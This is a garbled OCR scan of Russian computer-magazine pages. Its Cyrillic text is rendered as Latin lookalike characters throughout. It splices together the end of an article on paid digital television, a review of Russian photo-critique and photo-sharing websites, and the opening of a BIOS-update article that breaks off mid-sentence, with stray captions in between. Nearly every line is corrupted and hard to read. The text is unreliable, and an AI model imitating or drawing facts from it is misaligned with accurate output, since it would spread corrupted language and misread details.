ctbb (TejieBH 30 p h njieep) aojixchbi 
noflAepxcHBaTB hmchho ero. 

npnneTCfl jim njiamib? 

BoJIbmHHCTBO H3 HaC npHBBIKJIH K TOMy, 
hto 3 (J)HpHoe Teji e b njie h n e deciuiaTHO. 
HpaBjia, b ropoaax, me HcnojiB3yiOT- 
cn odnjecTBeHHBie TejieceTH, TaK hjih 
HHane npnxojiHTcn jjejiaTB Kamie-TO ot- 
HHCJieHHn. A bot Ha flane, nojiynan cht- 
Haji nepe3 aHTeHHy, mbi HHnero He iuia- 
thm (kctbth, MemiTB aHTeHHy juin npn- 

eMa «HH(j)pbi» He npHjjeTcn — noaoHjieT 

h npHBbinHan CTapan). 

Te, kto CTajiKHBajicn co cnyraHKO- 
bhm TejieBHjjeHHeM hjih «u;h(J)poh» Ka- 
dejibHbix onepaTopOB, CKOpee Bcero 
yxe onpodoBajin padoTy c TaK Ha3bi- 
BaeMbiMH KapTaMH jjocTyna h chctc- 
MaMH ycjiOBHoro jjocTyna. CyTB TexHO- 

JIOTHH COCTOHT B TOM, HTO B pe 3 yjIBTaTe 
HCnOJIB 30 BaHHn TaKHX CpejJCTB npH- 
CTaBKa ojjHOBHanHO CBH 3 BiBaeTcn b 
da 3 e onepaTOpa c jihhhbim cneTOM ado- 
HeHTa. Ecjih cneT nonojimieTcn BOBpe- 
mh, npHCTaBKa aeKoanpyeT cnmaji, a 
npn nonBjieHHH 3 a,zjojixceHHOCTH bbi 
H e yBHjjHTe jnodnMBix KaHajiOB . 

Ha JjaHHBIH MOMeHT B PoCCHH JTHTTTb 
BeayTCH pa3TOBOpBi o BBeaenMn ruiaT- 
hoto 3(J>HpHoro TejieBHjjeHHn Ha rocy- 
jjapCTBeHHOM ypOBHe. Tax hto adoHeH- 
TaM noxa paHO jjyMaTB o npnodpeTeHHH 
odopyaoBaHnn, noaxoanmero jijih npn- 
eMa 3(J)Hpa c ycjiOBHBiM nocTynoM. Hto 
nee KacaeTcn KOMMepnecKHx KOMnaHHH, 
to ohh odBinHO caMH odecneHHBaiOT 
adoHema HeodxoanMOH TexHHKOH. 

Ho Bee 3 to erne He 3HanHT, hto b ot- 
aajieHHOH nepcneKTHBe TejieBHaeHne 
CTaHeT nojiHOCTBio iuiaTHBiM: npaBH- 
TejiBCTBO odn3ajio onepaTopOB paenpo- 
CTpamiTB onpeaejieHHoe KOJinnecTBO 
KaHajiOB Ha h e ko m m epT ec k hx ycjiOBH- 
nx, a 3apadaTBiBaTB Ha peioiaMe. B 3a- 
KOHe nponncaHO, hto aeBnTb KaHajiOB, 
BxoannjHx b oanH MyjiBTHiuieKC, dyayr 
deCIUiaTHbIMH . BoCeML H3 HHX — H3- 
BecTHBie cjjeaepajibHbie dpenabi (hcko- 
TOpBie — C MeCTHBIMH BKJHOHeHHHMH) . 
fleBUTBIM aOJDKeH CTaTB HeKHH peTHO- 
HajiLHLin KaHaji. ■■■ EKaiepMHa BapaHOBa 
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"" JopHflHMecKafl noflflep* Ka BOfl 

foSo'JIcnwarauHM . *»> fl^eLUeCfBMfl 

ofiowKHBaHMfl cpaBHMreiibHbie Tecibi 

Bee HwaHCW tbxh JJ fla od oflHOWiaccHMKax 



H3I? I1PAKTMKA (PoTOonbiT 


UlKona 

(|)0T0MacTepcTBa 

b Cem 

KaK oueHMTb ypoBeHb 3pejiocTM cbomx c|DOTopa6oT? Bo3mo>kho, 
ctomt noi<a3aTb mx npocfDeccMOHajiaM mjim npuHBTb ynacTMe b KOHKypce. 

1/lMeHHO flJlfl 3T0I"0 B I/I HTepHeTe OpraHM3yiOTCB 0OTOKJiy6bl, 
rfle mo>kho nooSmaTbca m nojiyni/rrb OT3biB o cbomx TBopeHMax. 



BbIBOA 


TBopnecKUM noTeHAMa/i Hy>KHO pea/iM- 
30BblB3Tb, pa3BMB351 CBOM H3BblKM AO 
ypoBH5i BbicoKoro MacTepcTBa. 1/lMeH- 
ho A/ifl OToro co3AaiOTC5i TeMaTMHecKne 

K/iy 6 bl A B KOTOpbIX MO>KHO H3MTM eAM- 
HOMblLUJieHHMKOB. HOBMHKaM B c)DOTO- 
rpacjDMM Mbi peKOMeHAyeM npe>KAe Bce- 
ro pecypcbi www.tmfoto.ru m www. 
fotokonkurs.ru. 3Aecb ecTb newy no- 
yHMTbca, a 3aoAHO mo>kho noynacTBO- 
BaTb b yB/ieKaie/ibHbix KOHKypcax. 
llopTa/i www.fotokritik.ru 6 o/i blue 
noAxoAm onbiTHbiM j]\o6iATenflM n npo- 
cfieccMOHajiaM. Oh He mribKO 5 iB/i 5 ieTC 5 i 
0 TJ 1 MHH 0 M apeHOM pj\R AOMOHCTpaAMM 
CBOMX TBOpHeCKMX B03M0>KH0CTeM, HO 
m AaeT luaHc HaMTM Ae/iOBoro napTHepa 
mjim MOAe/ib. OoTopa3Ae/ibi nony/mp- 
HblX COUMa/lbHblX CepBMCOB He CTOMT 
paccMaipMBaib KaK n/ioLAaAKy A-na 
npOABM>KeHM51 CBOMX TBOpeHMM M 
Aa/ibHeMLuero pa3BMTM5i — 3 to CKopee 
pecypcbi A/ifl o 6 iAeHM 5 i. Xom m 3 Aecb 
MO>KHO HaMTM MHOTO MHTepeCHOTO RJ]ft 
nonO/lHeHMfl CBOMX 3H3HMM — B HaCT- 
HOCTM, B 06 /iaCTM (j)OTOTeXHMKM. 


C OBpeMeHHbie ancjDpoBbie $o- 
ToannapaTBi H36aBHjin Hac ot 
MHOXeCTBa pyTHHHBIX npo- 
neayp, c kotopbimh b npexcHne 
BpeMeHa npoxoAHjiocb HMeTb 
aejro Kax jhoGhtcjihm, TaK h npoc^ec- 
cnoHajiaM. 3kohomhb iuichkh, ee Kpo- 
noTjiHBaH npOHBKa n BbiOopOHHaa ne- 
HaTb KaapOB — BCe 3T0, c oahoh CTOpO- 
Hbl, CHJIbHO 3aTpyAH5LJIO TBOpneCKHH 

nponecc, a c apyron — 3acTaBjiiuio noa- 
xoahtb k HeMy cepbe3Hee. CeroaHH xce 
3a OAHy (J)OTOceccHio bh MoxceTe cae- 
JiaTb HeCKOJIbKO COTeH CHHMKOB, H H3 
hhx 6yaeT OHeHb cjto>kho Bbi6paTb xoth 


6bl HeCKOJIbKO CTOHLIXHX. H eCJIH a JIH 
npo(J>eccHOHajiOB oto npHBbiHHoe aejio, 
to y jnoGjrrejien n HanHHaiOLiiHx (J>oto- 
rpacjDOB H3-3a HeaocTaTKa onbiTa MoaceT 
B03HHKHyrb xejiamie Bee yaajiHTb — 
JIH60, HanpOTHB, BCe OCTaBHTb. 

B rayOuHe aynin MHome yBjieneH- 
Hbie c^oToaejioM jiioah MenTaioT o tom, 
nro6bi hx TajiaHT oaeHiuiH no aoctohh- 
CTBy. no cyrn, paan 3 toto ohh h 3a- 
HHMaiOTCH 4)OTorpa(j}HeH. K cnacTbio, 
HHTepHeT 0Ka3ajicn oneHb yaoOHon 
njioiaaaKon aji# npOBeaeHnn CBoe- 
o6pa3Hbix «(})OTo6HeHHajie». OaHaKO, 
KaK n b peajibHOM Mnpe, ctoht Tiaa- 
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TejibHO Bbi6HpaTb MecTa juin BbicTaBjie- 
hh r cbohx (J)OTOpa6oT. Mbi paccxajxeM, 
neM OTJiHHaiOTCH <J>OTOpa3aejibi nony- 
jiHpHbix noncKOBbix CHCTeM ot npocjiec- 
CHOHajibHbix 4)OTOKJiy6oB, Kax He yny- 
CTHTb CBOK) MHHyiy CJiaBbI H me y3HaTb 
cypOBoe MHeHHe oxcnepTOB. 

MmP tpOTOMCKyCCTBa 

www.fotokritik.ru 

Ha3BaHHe nopTajia «OotoKphthx», Ha 
Ham B3rjI5m, JIHIHb OTHaCTH COOTBeT- 
CTByeT peajibHOMy nojioxeHHio aea — 
3to CKOpee Heo6baTHaa BbicTaBKa pa6oT 
xax npH3HaHHbix MacTepOB (Jdoto- 
HCKyccTBa co Bcero MHpa, Tax h oGbih- 
hbix jiio6HTejieH. IlepBbiM 3aecb ot- 
BeaeHO noneTHoe MecTO HexpHraxye- 
Mbix axcnoHaTOB — oneBHUHO, htoGbi 
OCT aJIbHbIM 6bIJIO X HeMy CTpeMHTb- 
cn. Bee npOHHe 3apemcTpHpOBaHHbie 
ynacTHHXH Moryr pa3MemaTb cboh 
pa6oTbi h nojiynaTb 3a hhx oiteHXH, 
Ha OCHOBaHHH XOTOpbIX (jDOpMHpyeTCH 
peHTHHr (J)OTorpa4)a. HeM 6ojibine 6aji- 
jiob, TeM Bbirne rnaHC nonacTb b Ton 
JiyHIHHX Cj)0T0pa60T. 

BnponeM, HOBHnxaM He ctoht ona- 
caTbca pa3rpOMHOH xpHTHxn: paaoBbie 
pa6oTbi Moryr ocTaTbca HeaaMeHeHHbi- 
MH, a BOT HTO-TO H3 pHAa BOH BBIXOAH" 

mee — Bbi3BaTb jih6o rnxBaji boctop- 

3CeHHbIX OT3BIBOB, JIH 60 HeCXOJIbXO 
XOHCTpyXTHBHbIX 3aMenaHHH CO CTOpO" 
hbi npo4>eccHOHajiOB. B jiioGom cjiy- 
nae ctoht nonpo 6 oBaTb 3anHcaTbCH 
b HjieHbi xjiy 6 a: 3aecb ecTb Ha hto no- 
CMOTpeTb, MOvKHO nepeHHTb onbiT npo- 
(J)eccHOHajiOB h, xoHenHO, caMOMy 
BbICTaBHTb cboh npoH3BeaeHHH Ha cya 
xpHTHxoB. KcTaTH, jinn 3T0T0 b axxayH- 
Te HMeeTCH cnennajibHaH xHonxa «Xony 
xpHTHXH». B HejiOM, HHTepcjDeHC nopTa- 


jia npoayMaH no MejioneH h pacnojiara- 
eT xax x o6iaeHHK), Tax h o6cy*aeHHio 
pa6oT c npHMeHeHHeM ninpoxoro cnex- 
Tpa oaeHOx. 3aecb mojkho npocTO npo- 

XOMMeHTHpOBaTb cj)OTO HJIH ACTaJIBHO 
npoaHajiH3HpOBaTb ero, HanHCJiHB Gaji- 
jibi no TaxHM napaMeTpaM, xax «TexHH- 
xa», «Bo3aeHCTBHe» h «Komho3hu;hh». 

Yao6Ha h HaBHrauHH no camy: bbi 
MoxeTe npocTO Hacjra>KaaTbCH npe- 
XpaCHblMH (J)OTOrpa(J)HiIMH HJIH Cpa3y 
nepeHTH b pa3aeji «KpHTHxa», rae oto- 
6pa>xaK)TCH Bee 3aMenaHHH x cjioTopa- 
6oTaM. B pa3aejie «PeHTHHr» pacno- 
jiojxeHa Ton- 100 jiynniHx pa6oT, nojiy- 

HHBIHHX MaXCHMyM GaJIJIOB. 

ITomhmo oOiaeHHH HenocpeacTBeH- 
ho b axxayHTax nojib30BaTejin MoryT 
oOMeHHBaTbCH MHeHMMH Ha cjiopy- 
Me. KpOMe toto, 3aHHTbiM jnoa^M 
npeaJiaraeTCH cxanaTb cneanajibHO 
pa3pa6oTaHHoe npHjiojxeHne «Ooto- 
KjineHT», no3BOJHHOiaee, He 3axoan 
Ha caHT, nojiynaTb OT3biBbi o cbohx 


paGoTax, OTBenaTb Ha hhx h HHTaTb 
COOGiaeHHH XpHTHXOB. npnjiojxeHHe 
He TpeGyeT HHCTajunntHH h aobojib- 
ho npocToe. HMeeTCH h njiaTHan 
pacniHpeHHaH BepCHH 3toto XJIHeH- 
Ta (Extended). IloanHCxa Ha ncnojib- 
30BaHne b TeneHHe roaa oGonaeTcn 
b 499 pyGjien. 

KHyTOM M npjIHMKOM 

www.fotokonkurs.ru 

npoexr «Ootoxoh xype .py» cpa3y npo- 
H3BoaHT BnenaTjieHHe co3aaHHoro ana 
HaHKHaioianx h jnodHTejieH. IlpH no- 
cemeHHH stoto nopTajia bbi He GyaeTe 
cpaxeHbi HanoBaji naeajibHbiMH (Jioto- 
xapTHHaMH. HaoGopOT, 3aecb Bee Hpea- 
BbinaHHO npocTO h no-aoManmeMy yiOT- 
ho. Berjibin B3Tjma Ha BbieraBjieHHbie 
Ha xoHxypc paGoTbi aaeT noHHTb, hto 
x MacTepCTBy oGbihho npnxoaHT no- 
CTeneHHO. 3T0My cnocoGcTByeT oGcyac- 
aeHne xajxaoro CHHMxa, npnneM oho 
BeaeTcn Ha oneHb xyjibrypHOM ypOBHe. 
IloxajiyH, HMeHHO 3aecb mbi yBHae- 
jih ctojib HeoGxoaHMyio oGbexTHBHyio 
xpHTHxy h nojie3Hbie coBeTbi no noera- 
HOBxe xaapa h ero oGpaGoTxe. IlpH- 
neM, ecjin bbi He 3aperacTpHpoBaH- 
hbih nojib30BaTejib, a npocTO npHinjiH 
nocMOTpeTb Ha nyxene chhmxh, HMeHa 
aBTopoB Gyayr ot Bac cxpbiTbi h 3aMe- 
HeHbi oGliihm oGo3HaneHHeM «KanHTaH 
HeMO». Ho na>xe ecjin bbi aBTOpH30Ba- 
jihcb, to b CTaTyce npocToro nojib30Ba- 
Tejin Bee jxe CBH3aHbi onpeaejieHHbiMH 
orpaHHneHHHMH. Tax, pnaoBbiM njie- 
HaM cooGntecTBa Hejib3H npocMaTpn- 
BaTb cjlOTOpaGOTbl B OpHTHHaJIBHOM pa3- 
Mepe, BHaeTb chhmxh co CTaTycoM 
«npeTeHaeHT» h MHoroe apyroe. 


& 


QpTQ fflwitypE.pit ncasutAj flsfifiiinfeJts® ncgtayrcnn n>wNiH kbmht 


h 6enKH 

CnHcefHM« «oh«¥PC« n rp&S&eaHMR 


noneTHan rpaivioTa no6efli/ueiifl 

Ha catiTe «d)0T0K0HKypc.py» — 
3 to, 6eccnopHo, npnaiHaa Ha- 
rpafla 3a no6eAy b cocTn3aHMM 



«(D0T0K0HKypc.py» c caMoro Hanaaa norpy>KaeT ynacT- 
hi/ikob b copeBHOBaie/ibHyK) aTMocc|3epy, hto 3aciaBJineT 
coBepmeHCTBOBaTb HaBbiKM cbmm m o6pa6on<i/i cBoto 


rio.JAjjati C NOfcMOftl 
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H3I? I1PAKTMKA (PoTOonbiT 




«Kny6 nK)6mejieM tpOTorpatpHM” npi/iBJieKaeT yfOTHOM aiMoccjDepoM Mecia, r,qe 
co6npaKrrcfl KaK npocfiecci/ioHa/ibi, TaK 1/1 jiradmejiM c|doto pa3/iMHHbix >KaHpoB 




IlHCTpyrieHTbi ajia oaghki/i c|30Topa6oT Ha Tmfoto.ru 
no3BO/iflK)T nonpo6oBaTb flpyroe KaApnpoBaHi/ie, 
npoBepi/ub ero Ha cooTBeTCTBi/ie «30/i0T0My 
ceneHHK)» 1/1 npi/iMeHi/iTb cneuna/ibHbie $i/uibTpbi 



flonOJIHHTeJILHbie B03M0XCH0CTH CTaHyT 

AOCTynHbi npn noxynxe aKKayHTa PRO, 
KOTOpbiH oueHHBaeTCH opraHH3aTopa- 
mh pecypca b coGctbchhoh BajiiOTe — 
20 «(})K» (okojio 200 pyGjien) b mcchli. 
npH 3TOM BHpTyaJIBHBie JlQUbTH MOXCHO 
3apa6aTBiBaTB ynacTHeM h noGeaaMH b 
KOHK ypcax. HanpnMep, 3anepBoe MecTO 
bbi nojiynHTe 10 «c[)x» h rpaMOTy. /],jih 
O peHKH KOHKypCHBIX (J)OTO y Ka^aoro 
HjieHa xjiyGa npHnaceHBi xax 30Ji0TBie h 
cepeOpBHBie «3Be3Abi», Tax h napa «Tyx- 
jibix noMHaopOK» (y BjiaaejibHeB PRO- 
aKKayHTOB hx Gojibine). 

B OTjiHHHe ot ocTajibHbix noaoGHbix 
cepBHCOB, (})OTorajiepeH b npHBbiHHOM 
BH^e 3aecb He cymecTByex Bee BbicTaB- 
jieHHbie paOoTbi OTCopTHpoBaHbi no 
KOHKypcaM h CKpbiTbi «TyMaHOM», noxa 
Ha xaxyio-HHGyab H3 hhx He HaBeaemb 
Kypcop MbiniH. 3 to ynoGHo: BHHMaHHe 
KOHpeHTpHpyeTCil Ha 0£HOM XOHXpeT- 
hom CHHMKe, a «TyMaH» He no3BOJiHeT 
cpaBHHBaTb ero c coceaHHMH. 

Kamfloe t|)0T0 — c niodOBbio 

www.tmfoto.ru 

flaHHbiii pecypc moxho 6 bijio 6 bi 
Ha3BaTb KjiyOoM cjioTO/oKeHTjibMe- 
hob — no KpaHHeil Mepe, TaxoBO nep- 
Boe BnenaTjieHHe npn ero noceme- 

HHH. HepHblH (jX)H C M5HXHMH CepbIMH 
TOHaMH HacTpanBaeT Ha flejiOBOH no#- 
xo a k (J)OTOTBOpnecTBy, a npeacTaBjieH- 
Hbie b rajiepee paGora ynacTHHxoB 
Bbi3biBaiOT yBaxeHne h BoexnmeHHe. 
npn 3 tom caMO Ha3BaHne — «Kjiy6 
jnoOHTejieH 4)OTorpa(j}HH» — pacnojia- 
raeT k AOBepHTejibHOH aTMOccjiepe, b 
KOTO poii nyBCTByenib ceGu Ha paBHbix 
co BceMH ynacTHHKaMH cooGmecTBa. 
H B CaMOM RQJIQ, KOMMepPHen 3 flecb 


h He naxHeT — HeT hh pexjiaMHbix 
GaHHepOB, hh njiaTHbix aKKayHTOB 
HJIH BHpTyaJIbHbIX JXQUQT. /Ja H aBTOp- 
ctbo pa6oT 3flecb He cxpbiBaiOT — no % 
xaxAbiM chhmkom yxa3aHO peajibHoe 
hmh (J)OTorpa(i)a c hhkom b xBa/tpaT- 
hbix cxoGxax. CTaTycbi h Gajuibi ynacT- 
hhkh 3apa6aTbiBaiOT, BbiCTaBjnm Ha 
KOHKypC CBOH (J)OTOCHHMXH. IIpH nO- 
jiyneHHH bbicokhx opeHOx ot oaho- 
KjiyGHHKOB Bam CTaTyc noBbimaeTCH. 

Ha Ham B3ra5m, 3 tot nopTaji Gojibine 
Bcex ocTajibHbix 3acjiy>KHBaeT 3BaHHH 
niKOJibi (J)OTOMacTepCTBa. B ero nojib3y 
TOBOpHT yao6HbIH H npOCTOH HHTep- 
4)enc, r#e ecTb MecTO h xoHxypCHbiM 
paOoTaM, h cjiynatobiM cJdoto, h «H3- 
6paHHOMy». B pa3flejie «CraTbH» mo- 
vKho HaiiTH MHoro HnrepecHoro: 3aecb 
npo(})eccHOHajibi acjihtch cbohmh Me- 
TO^aMH CbeMKH, HCnOJTb30BaHHH pa3- 
JIHHHOrO oGopyAOBaHHH H o 6 pa 60 TKH 
(})OTO. nOJie3Hbie ypOKH nOHBJBHOTCH h 


b 6jiorax ynacTHHxoB xryGa — Bee 
oGHOBJieHHH B HHX OT 06 pa>KaK)TCH Ha 
niaBHOH CTpaHHue nopTajia. Ecjih HMe- 
iotch Bonpocbi, hx moxcho 3a,aaTb Ha 
cjDOpyMe, r#e oGcyx^aiOTCii jno6bie Te- 
Mbi, KacaiomnecH (J>OTorpa(J)HH. 

K Hpe3BbmaHHO nojie3HbiM bo3mox- 
hocthm pecypca mo)kho OTHecTH yaoG- 
Hyio (J>yHKHHK) npe^npocMOTpa chhm- 
kob b rajiepenx aBTopoB h HeGojibinoH 
Ha 60 p HHCTpyMeHTOB, AOCTynHblH B 
BepxHen nacm 4>OTorpa(i)HH. C ero no- 
MombK) bbi MoxeTe, aaxe He Gy^ynn 
3apemcTpHpOBaHHbiM b Kjiy6e, xa^pn- 
pOBaTb jhoGoh chhmox no CBoeMy Bxycy, 
npOBepHTb ero Ha cooTBeTCTBHe «30 jio- 
TOMy ceneHHK)», oGecpBeTHTb, npHMe- 
HHTb x HeMy HexoTOpbie 3(J)(J)exTbi hjih 
npocTO nocMOTpeTb mcTorpaMMy. 

YaoGho peajiH30BaHa h HaBHramm no 
pecypcy, no3BOJTBK)maa GbiCTpo OTxpbiTb 
Hy*HbiH pa3fleji hjih (JiOTorajiepeio co 
CHHMxaMH onpeaejieHHoro xaHpa. 



CepBuc «5lHfleKC.(DoTKM» o6oa,qaeT cyutecTBeHHbiM aoctomhctbom: oh TecHo i/iHTerpi/ipoBaH 
c reonoKapi/ioHHOM ci/icie mom «flHflei<c.KapTbi» 
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l"jio6a/ibHbM c|)OTOo6MeH 


1/ICTMHHblMM ruraHTaMM MMpOBOrO c)doto- 
coo6i4ecTBa 5iB/i5iK)TC5i FLickr n Picasa. 
riepBbm pecypc opuemMpoBaH npe>KAe 
Bcero Ha o6MeH c(doto rpacjD m a He 
o6meHMe, n Ha ceroAHflwm/m AeHb ero 
6a3a coAepwm 6o/iee 5 mjipa M3o6pa- 
weHMM. CepBMc Picasa 5iB/i5ieTC5i npoeK- 
tom GoogLe. fl/m yao6hom pa6oibi c 
hum cyiAecTByeT OAHOMMeHHoe Kpocc- 
n/iaTc|)opMeHHoe (coBMecruMoe c Win- 
dows, Mac OS X m Linux) npi/ijioiKeHMe, 
MHierpupoBaHHoe c ApyrnMU cepBncaMU 
KOMnaHMM — BLogger, GmaiL, YouTube 


m GoogLe Earth. Kohchho, aHa/ioruHHbiM 
OTenecTBeHHbiM pecypcaM TpyAHO co- 
nepHMHaTb c Tamm vvwamam, ho y 
hmx ecTb Hen/ioxoM noTeHpna/i. llpaBAa, 
c/ieAyeT ynuTbiBaTb tot cfiaKT, hto mok- 
AyHapoAHbie cepBMCbi cTpeMinai 3 aB 0 - 
eBaTb m ayAMTopMfo Hameu CTpaHbi, 
npeAOCTaB/iflfl /i 0 Ka/iM 30 BaHHbie mh- 
TepcfjeMCbl, B TO BpeMfl KaK pOCCMM- 
CKi/ie couMa/ibHbie ceTi/i MHTepecHbi 
ji mu b OTenecTBeHHbiM no/ib 30 BaTe- 
n ja m, cpeAM KOTopbix Aa/ieKO He Bee 
TflTOTeiOT K Mo 6 aJlbHOCTM. 


flllfl UlMpOKNX Macc 

TaM, rne coGnpaeTCH mhoto nojib30- 
BaTejieH, aojdkho 6bitb h mhoto pa3- 
JIHHHBIX CepBHCOB. 3Ty JIOTHHHyK) HAdO 
nocTeneHHO noAXBarajiH Bee OTenecT- 
BeHHBie h 3apy6exHBie noncKOBbie chc- 
TeMbi, no coBMecTHTejiBCTBy npeaoc- 
TaBjiinomne erne h riOHTOBbie ycjiym. 
IlOHTOBblH HLHHK nOApa3yMeBaeT HaJIH- 

nne nojib30BaTejibCKHx aKKayHTOB, ko- 

TOpbie MOvKHO HCn0JIb30BaTb npH C03- 
AaHHH KJiyGoB no HHTepecaM. 
«flHfleKC.OoTKM» (http://fotki.yandex.ru) 

3tot pecypc moxcho Ha3BaTb oahhm 
H 3 CaMbIX MaCCOBbIX (J)OTOnOpTaJIOB. 
KpOMe TnnnnHOH HOMHHau;HH «Ooto 
Ahh» n pa3Aejia «3aji cjiaBbi» npoeKT 
nepHOAHnecKH hpoboaht pa3JiHHHbie 
TeMaTnnecKne KOHKypcbi. Ilojib30- 
BaTejin MoryT He tojibko oiieHHBaTb 
(J)OTOrpa(J)HH, HO H OCTaBJIHTb TeKC- 
TOBbie KOMMeHTapHH nOA HHMH. Ilo- 
HpaBHBIHHMCil CHHMKOM MOXCHO nO- 
AeJIHTbCH C Apy3bBMH B COIJHaJIbHblX 
cexax Facebook, Twitter «BKoHTaK- 
Te» hjih OTnpaBHTb xax OTKpbiTKy no 
ojieKTpOHHOH noHTe. HHTep(J)eHC nop- 
Tajia no3BOjraeT BbiGpaTb pa3pemeHne 
npocMaTpHBaeMoro (})oto, b kotopom 
b Aajn>HeHHieM 6yAyT OToGpaacaTbcn 
h Apyrne chhmkh (J)OTorajiepeH. ITo- 
hck pa6oT HHTepecyromeH tcmathkh 
oOjiemaeT obninpHoe objiaKO TeroB. 
Ha cairre HMeeTCH peimnir caMbix 
pacnpocTpaHeHHbix cpeAH nojn>30Ba- 
Tejieii ycTponcTB cjiOTorpacliHpOBaHHH, 
npnneM b nepBoii AecuTKe npeACTaB- 
JieHbl He TOJIbKO AH(J)pOBbie (J)OTO- 
KaMepbi, ho h MoGnjibHbie TejiecjiOHbi. 
Ctohmoctb Bcex yKa3aHHbix ycTpoiicTB 
moxcho cpa3y y3HaTb Ha «Mhackc. 
MapKeTe». YAoGcTBa cepBncy Ao6aB- 
jiiieT (J)yHKAHB noMemeHHH jho6oh 
4>OTorpa(i)HH hjih ijejioro ajibboMa b 
3axa3 (JiOTonenaTH, kotopbih 6yAeT 
BbinojiHeH oahhm H3 napraepOB KOM- 
naHHH «5 Ihackc» — FotoClick.ru ajih 
xcHTejien Pocchh hjih UkrPhoto.net 
AJih xHTejien YKpaHHbi. 

npOeKT «^HAeKC.O0TKH» HHTerpH- 
pOBaH H C ApyrHMH CepBHCaMH «^HACK- 
ca». Tax, reojiOKaAHOHHaH cncTeMa 

«^HAeKC.KapTbi» no3BOJHieT yKa3aTb 
MecTO, rAe 6bui CAejiaH chhmok. no- 
CTOHHHbie nojib30BaTejiH Moryr cxa- 
naTb AonojiHeHHe AJin Be6-6pay3epa 
«^HAeKC.Bap» c HabopOM KHonoK «^h- 
ACkc.Ootok», hto ynpocTHT npoijecc 
3arpy3KH chhmkob Ha cepBep h asjib- 
HeiiHiee ynpaBjieHHe hmh. 


«d)OTO@IVIail.ru» (http://foto.mail.ru) 

OCHOBHaH 0 C 06 eHH 0 CTb AaHHOH (J)OTO- 
rajiepen coctoht b tom, hto OHa hbjih- 
eTCH HeoTbeMjieMon nacTbio counajib- 
hoh ceTH «Moh Mnp». Bee (})oto moxho 
3arpy>xaTb tojibko H3 CBoero aiacayH- 
Ta, KOTOpbin reHepHpyeTCH npn pem- 
CTpaiJHH B nOHTOBOM CepBHCe. B 3BBH- 
CHMOCTH OT HHAHBHAyaJIbHbIX HaCTpOeK 
aKKayHTa BbiKjiaAbiBaeMbie cjiOTorpa- 
(J)HH MOryT 6bITb BHAHbl TOJIBKO Apy~ 
3 bhm jih6o BceM noceTHTejiHM pecypca. 
OijeHKH He Bbirne nHTepKH mojkho 
CT aBHTb npocTO TaK, a bot 3a acchtb 
G ajuiOB npHAeTCH 3aiuiaTHTb nocpeA- 
ctbom SMS okojio 100 pybjien. Ko- 

HeHHO, npH 3TOM peHb He HACT HH 
o KaKoii xyAoacecTBeHHOH ou;eHKe. Ha 
BbiKjiaABiBaeMbix CHHMKax name Bcero 
3aneHaTjieHbi Apy3BH, poACTBeHHHKH 
H TOBapHIAH, AOMaiHHHe nHTOMABI H 
npocTO 3a6aBHbie momchtbi H3 3ch3- 
hh. rojiocyn 3a nyxene (jiOTO, nojib30- 
BaTejiH, KaK npaBHJio, jih6o npOHBjiH- 
K)T CHMnaTHIO, JIH 60 XA yT OTBeTHOTO 
acecTa, jih6o npHBjieKaiOT BHHMaHHe 
k CBoeMy npo(J)Hjiio. 

«PaM6jiep-O0T0» (http://foto.rambler.ru) 

3tot nopTaji He CTaji KjioHHpoBaTb 
CepBHCbl KOHKypeHTOB, npnroTOBHB 


AJM cbohx nojib 30 BaTejien npHHTHbie 
npeHMymecTBa. KpOMe bo 3 moxhocth 
npocMaTpHBaTb nyacne h 3 arpy>xaTb 

CBOH (})OTOCHHMKH AaHHBIH peCypC 

npeAJiaraeT Gojibinyio HHcJiopMamioH- 
Hyio 6a3y AaHHBix o pa3HOo6pa3Hbix 
MOAeJIHX H,H(|)pOBbIX KaMep — OT HeAO- 
pornx MaccoBbix npoAyKTOB a o (juiar- 
MaHCKHx 3epKajibHbix (J)OToannapaTOB. 
npn 3 tom npeAJiaraeTCH He tojibko 
B03M03CH0CTB npOHHTaTb AeTajibHbie 
o630pbI Ka>KAOH MOACJIH Ha BeAyillHX 
pyCCKOH3BIHHBIX CaHTaX, HO H 03HaK0- 
MHTbCH C TeCTOBbIMH CHHMKaMH. Oa~ 

Haxo, KaK h b cjiynae c «OoTO@Mail. 
ru», MaccoBOCTb nopTajia HeraTHBHO 
CKa3biBaeTCH Ha ypOBHe noAroTOBjieH- 
HOCTH ayAHTOpHH. BoJIbHIHHCTBO nOJIb- 
30BaTejien npocTO 3arpy*:aiOT 3a6aB- 
Hbie KapTHHKH — Aaace He cboh, a Haii- 
AeHHbie Ha npocTopax MHTepHeTa, h 
CepBHCOM 3TO He B036paHHeTCH. OAHa- 
ko ecTb 3Aecb h Koe-HTO nojie3Hoe: 
cneu;HajibHan pybpHKa «Henonyjuip- 
Hbie (})OTorpa(i)HH» He coAep^HT yAan- 
HBIX pabOT, HTO nOMOXeT HOBHHKaM 
noyHHTbCH Ha HarjiHAHbix npHMepax, 
KaKHe ohihGkh He ctoht AonycKaTb 
npn cboTorpacbHpOBaHHH. 

■ ■■ K)pMM ileTKOBCKMM 


Q Rambler 

4»t& 


CoodmecTBO «(DoTO@Mail.ru» 

paeon i/naHO Ha MaccoBoro 
no/ib30BaTeiiH, hto cymecTBeH- 
HO CHI/DKaeT TpebOBaHMB 
k MacTepcTBy m xyA0>xecT- 
BeHHOM UeHHOCTM CpOTO 



«Paivi6jiep-(DoTO» 

no3BOJiaeT He TO/ibKO 
3arpy>KaTb co6cTBeHHbie 
(fDaunbi, ho i/i mvmopTM- 
pOBaTb MX M3 APyrMX 
CfDOTOCepBMCOB 
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n:n^ FIPAKTMKA flepenpoLUMBKa BIOS 



Be3onacHoe 
o6HOBneHMe BIOS 

nepcoHajibHbie KOMnbiOTepbi A 0 Ji>KHbi 6 biTb coBMecn/iMbi c HOBbiM o 6 opyflOBaHneivi 
Aawe cnycTB HecKOJibKO JieT noc/ie i/ix noKynKi/i. 3 to Heo 6 xofli/iMO fl/ia Toro, HTo 6 bi 
BnocjieflCTBMM mo>kho 6 biJio npon 3 BecTi/i anrpewfl. 


3 anacTyK) npOH3BOAHTejiH kom- 
iuieKTyiomHx IIK npe^Jiara- 

K)T n0JIL30BaTeJIHM CaMOCTOB- 
TeJIBHO BBinOJIHHTB 06H0BJie- 
HHe BIOS, hto6bi KOMntiOTep 
OTBenaJI COBpeMeHHBIM Tpe60BaHHHM 
h 6biji coBMecTHM c hobbim <oicejie- 
30M». OcymecTBHB 3Ty onepaiiHK), bbi 
CMO^ ceTe 6e3 npo6jieM ycTaHOBHTB 
npoijeccop, kotopbih eme He 6 biji 
BB inymeH, xor^a bbi noicynajiH MaTe- 


pHHCKyio iuiaTy. IIpH otom Barna chc- 
